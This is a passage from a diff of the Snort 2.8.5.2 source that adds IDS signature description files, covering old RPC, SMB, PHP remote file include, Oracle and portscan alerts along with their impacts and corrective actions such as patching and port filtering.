+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1911.txt
+++ snort-2.8.5.2/doc/signatures/1911.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1911
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the Remote Procedure Call (RPC) sadmind.
+
+--
+Impact:
+Remote root access. This attack may permit execution of arbitrary
+commands with the privileges of root.
+
+--
+Detailed Information:
+The sadmind RPC service is used by Solaris Solstice AdminSuite
+applications to perform remote distributed system administration tasks
+such as adding new users. A buffer overflow associated with the
+NETMGT_PROC_SERVICE request of sadmind exists because of improper bounds
+checking. This may permit execution of arbitrary commands with the
+privileges of root.
+
+--
+Affected Systems:
+	Sun Solaris 2.5, 2.5.1, 2.6, 7.0
+
+--
+Attack Scenarios:
+Exploit code can be used to attack a vulnerable sadmind to obtain root
+access to the remote host.
+
+--
+Ease of Attack:
+Simple. Exploit scripts are freely available. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2286.txt
+++ snort-2.8.5.2/doc/signatures/2286.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+2286
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Unauthorized electronic mail relaying.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to access the script
+friends.php included in the PHP application vbPortal. This may indicate
+an attempt to use the server as an email relay.
+
+--
+Affected Systems:
+	All systems running the PHP application vbPortal
+
+--
+Attack Scenarios:
+The attacker could access the friends.php script directly to send spam
+email to thousands of recipients using the server as a relay.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1742.txt
+++ snort-2.8.5.2/doc/signatures/1742.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1742
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-7.txt
+++ snort-2.8.5.2/doc/signatures/122-7.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-7
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a tcp
+filtered portsweep was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3327.txt
+++ snort-2.8.5.2/doc/signatures/3327.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3327
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/482.txt
+++ snort-2.8.5.2/doc/signatures/482.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+482
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Windows host running Whatsup Gold software.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a Windows host running Whatsup Gold software contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS168
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2939.txt
+++ snort-2.8.5.2/doc/signatures/2939.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2939
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/466.txt
+++ snort-2.8.5.2/doc/signatures/466.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+466
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a host running the L3 "Retriever 1.5" security scanner.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a host running the L3 "Retriever 1.5" security scanner contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+http://www.whitehats.com/info/IDS311
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2459.txt
+++ snort-2.8.5.2/doc/signatures/2459.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+2459
+
+--
+Summary:
+This event is generated when a host in your network that has Yahoo Instant Messenger running starts a webcam or sends an invitation to view a webcam to another Yahoo IM user. 
+
+--
+Impact:
+Possible policy violation.  Instant Messenger programs may not be appropriate in certain network environments.
+
+--
+Detailed Information:
+This event indicates that a Yahoo IM user in your network is sending a notification that he or she is starting a webcam or offering an invitation to view the webcam.  While there are no known exploits associated with showing or viewing webcams, it is possible that this activity is inappropriate in certain environments.
+
+--
+Affected Systems:
+Any host running Yahoo Instant Messenger.
+
+--
+Attack Scenarios:
+No know attack scenarios.
+
+--
+Ease of Attack:
+No know attack scenarios.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It may be possible for Yahoo IM traffic to use other ports than the default expected ones.  
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References:
+Yahoo Protocol
+http://www.cse.iitb.ac.in/~varunk/YahooProtocol.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-16.txt
+++ snort-2.8.5.2/doc/signatures/122-16.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-16
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically an ip
+filtered distributed protocol scan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2874.txt
+++ snort-2.8.5.2/doc/signatures/2874.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2874
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_raw
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1798.txt
+++ snort-2.8.5.2/doc/signatures/1798.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1798
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "erotica".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "erotica".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2078.txt
+++ snort-2.8.5.2/doc/signatures/2078.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2078
+
+--
+Summary:
+HTTP.
+
+--
+Impact:
+Data loss and disclosure of information.
+
+--
+Detailed Information:
+A vulnerability exists such that a carefully crafted SQL query can be 
+used by a malicious user that will delete all private messages for users
+on the system.
+
+The scripts do not perform detailed checking of SQL queries in some 
+instances. This leaves the system vulnerable to SQL injection 
+techniques.
+
+--
+Affected Systems:
+	phpBB Group phpBB 2.0.3
+
+--
+Attack Scenarios:
+The attacker can craft his own SQL query to be executed or use a known 
+exploit for this vulnerability.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non vulnerable version of phpBB.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/6634
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3384.txt
+++ snort-2.8.5.2/doc/signatures/3384.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3384
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000754.txt
+++ snort-2.8.5.2/doc/signatures/100000754.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000754
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Free QBoard" application running on a webserver. Access to the file "faq.php" using a remote file being passed as the "qb_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "qb_path" parameter in the "faq.php" script used by the "Free QBoard" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Free QBoard
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/707.txt
+++ snort-2.8.5.2/doc/signatures/707.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+707
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2102.txt
+++ snort-2.8.5.2/doc/signatures/2102.txt
@@ -0,0 +1,81 @@
+Rule:  
+
+--
+Sid: 2102
+
+--
+Summary:
+
+A buffer overflow exists in the SMB (Server Message Block) Protocol 
+implementation in Microsfot Windows NT, Windows 2000, and Windows XP 
+that allows attackers to cause a denial of service via a NetShareEnum 
+request.
+
+This rule has been deprecated due to an inordinately large number of 
+false positives. Rule 2101 has been modified to take this into account.
+
+--
+Impact:
+
+An attacker can cause the target system to lock up and require manual
+reboot.  With more research, an attacker may be able to exploit this
+buffer overflow and execute arbitrary code, but this research has not
+been made public at this time.
+
+--
+Detailed Information:
+
+SMB on a vulnerable system may crash if it recieves a specially crafted
+packet containing a NetServerEnum, NetServerEnum2, or NetServerEnum3 
+transaction request.  If either the paramaters "Max Parameter Count" or
+"Max Data Count" are set to 0, then a vulnerable system will crash.  
+NetServerEnum requests require an authorized user account, however 
+NetServerEnum2 and NetServerEnum3 require anonymous access.  Anonymous
+access is enabled by default.  This signature looks for a "Max Data Count" 
+set to 0.
+
+--
+Attack Scenarios:
+
+An attacker would use one of the various publicly available tools to launch
+this attack.
+
+--
+Ease of Attack:
+
+Numerous tools, including a windows binary (SMBDie.exe), have been made
+publicly availablet exploit the denial of service portion of this vulnerability.
+
+--
+False Positives:
+
+This rule may trigger on functions other than NetServerEnum, NetServerEnum2,
+or NetServerEnum3.  Because a SMB decoder is not available in Snort at this time,
+verifying that the function that is being called is not feasable.
+
+--
+False Negatives:
+
+No false negatives are known at this time.
+
+--
+Corrective Action:
+
+Install the patches available from Microsoft.  The patches are listed in
+Microsoft's advisory for this vulnerability.
+
+www.microsoft.com/technet/security/bulletin/MS02-045.asp
+
+--
+Contributors:
+
+Brian Caswell <bmc@snort.org>
+
+-- 
+Additional References:
+
+cve,CAN-2002-0724
+url,www.microsoft.com/technet/security/bulletin/MS02-045.asp; 
+url,www.corest.com/common/showdoc.php?idx=262; 
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000545.txt
+++ snort-2.8.5.2/doc/signatures/100000545.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000545
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "PHP Blue Dragon CMS" application running on a 
+webserver. Access to the file "team_admin.php" using a remote file being passed 
+as the "DragonRootPath" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "DragonRootPath" parameter in the "team_admin.php" 
+script used by the "PHP Blue Dragon CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHP Blue Dragon CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2019.txt
+++ snort-2.8.5.2/doc/signatures/2019.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2019
+
+--
+Summary:
+The RPC service mountd enables clients to connect to networked file 
+dismounted via UDP.
+
+--
+Impact:
+Denial of network resources to users on the local area network.
+
+--
+Detailed Information:
+This may be an attempt to deny access to network resources from an 
+unauthorized source. It may also be indicative of an attacker probing 
+for RPC services on a host in an attempt to discover a possible entry 
+point to network resources via a vulnerable daemon.
+
+--
+Affected Systems:
+All systems allowing network shares to be unmounted by anonymous hosts, 
+all systems allowing RPC services to be stopped by ordinary users and 
+systems already compromised by an attacker via another vulnerability.
+
+--
+Attack Scenarios:
+This is an intelligence gathering activity, the attacker could remotely 
+unmount a shared resource to deny a resource to the local area network 
+or a probe to discover possible routes of entry into a system.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+When allowing hosts to mount an external network share, consider using a
+hosts.allow file.
+
+Do not allow shares to be unmounted by unauthorized hosts or users.
+
+RPC services should not be available outside the local area network, 
+filter RPC ports at the firewall to ensure access is denied to RPC 
+enabled machines.
+
+RPC services should also be disabled where not needed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/snort-sid-template.txt
+++ snort-2.8.5.2/doc/signatures/snort-sid-template.txt
@@ -0,0 +1,48 @@
+# This is a template for submitting snort signature descriptions to
+# the snort.org website
+#
+# Ensure that your descriptions are your own
+# and not the work of others.  References in the rules themselves
+# should be used for linking to other's work. 
+#
+# If you are unsure of some part of a rule, use that as a commentary
+# and someone else perhaps will be able to fix it.
+# 
+# $Id: snort-sid-template.txt,v 1.1 2002/10/09 13:06:31 cazz Exp $
+#
+# 
+
+Rule:  
+
+--
+Sid:
+
+--
+Summary:
+
+--
+Impact:
+
+--
+Detailed Information:
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+
+--
+False Positives:
+
+--
+False Negatives:
+
+--
+Corrective Action:
+
+--
+Contributors:
+
+-- 
+Additional References:
--- snort-2.8.5.2.orig/doc/signatures/100000782.txt
+++ snort-2.8.5.2/doc/signatures/100000782.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000782
+--
+Summary:
